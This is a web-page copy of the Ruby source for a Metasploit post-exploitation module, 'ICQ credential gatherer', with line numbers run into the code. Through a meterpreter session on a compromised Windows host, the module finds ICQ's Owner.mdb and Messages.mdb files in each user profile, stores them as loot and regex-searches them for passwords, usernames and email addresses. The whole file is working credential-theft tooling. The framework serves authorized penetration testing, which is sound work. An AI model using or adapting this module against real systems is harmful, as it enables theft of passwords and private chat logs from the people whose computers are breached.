Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/icq.rb
Views: 11704
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8# this associative array defines the artifacts known to PackRat9include Msf::Post::File10include Msf::Post::Windows::UserProfiles11include Msf::Post::Windows::Packrat12ARTIFACTS =13{14application: 'ICQ',15app_category: 'chats',16gatherable_artifacts: [17{18filetypes: 'logins',19path: 'AppData',20dir: 'ICQ',21artifact_file_name: 'Owner.mdb',22description: "ICQ's saved Username and Passwords",23credential_type: 'text',24regex_search: [25{26extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',27extraction_type: 'credentials',28regex: [29'(?i-mx:password.*)',30'(?i-mx:username.*)'31]32},33{34extraction_description: 'searches for Email TO/FROM address',35extraction_type: 'Email addresses',36regex: [37'(?i-mx:to:.*)',38'(?i-mx:from:.*)'39]40}41]42},43{44filetypes: 'chat_logs',45path: 'AppData',46dir: 'ICQ',47artifact_file_name: 'Messages.mdb',48description: "ICQ's chat logs",49credential_type: 'text',50regex_search: [51{52extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',53extraction_type: 'credentials',54regex: [55'(?i-mx:password.*)',56'(?i-mx:username.*)'57]58},59{60extraction_description: 'searches for Email TO/FROM address',61extraction_type: 'Email addresses',62regex: [63'(?i-mx:to:.*)',64'(?i-mx:from:.*)'65]66}67]68}69]70}.freeze7172def initialize(info = {})73super(74update_info(75info,76'Name' => 'ICQ credential gatherer',77'Description' => %q{78PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.79PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.80Further details can be found in the module documentation.81This is a module that searches for ICQ credentials on a windows remote host.82},83'License' => MSF_LICENSE,84'Author' => [85'Kazuyoshi Maruta',86'Daniel Hallsworth',87'Barwar Salim M',88'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org89],90'Platform' => ['win'],91'SessionTypes' => ['meterpreter'],92'Notes' => {93'Stability' => [CRASH_SAFE],94'Reliability' => [],95'SideEffects' => []96}97)98)99100register_options(101[102OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),103OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),104OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),105# enumerates the options based on the artifacts that are defined below106OptEnum.new('ARTIFACTS', [107false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|108k[:filetypes]109end.uniq.unshift('All')110])111]112)113end114115def run116print_status('Filtering based on these selections: ')117print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")118print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")119print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")120121# used to grab files for each user on the remote host122grab_user_profiles.each do |userprofile|123run_packrat(userprofile, ARTIFACTS)124end125126print_status 'PackRat credential sweep Completed'127end128end129130131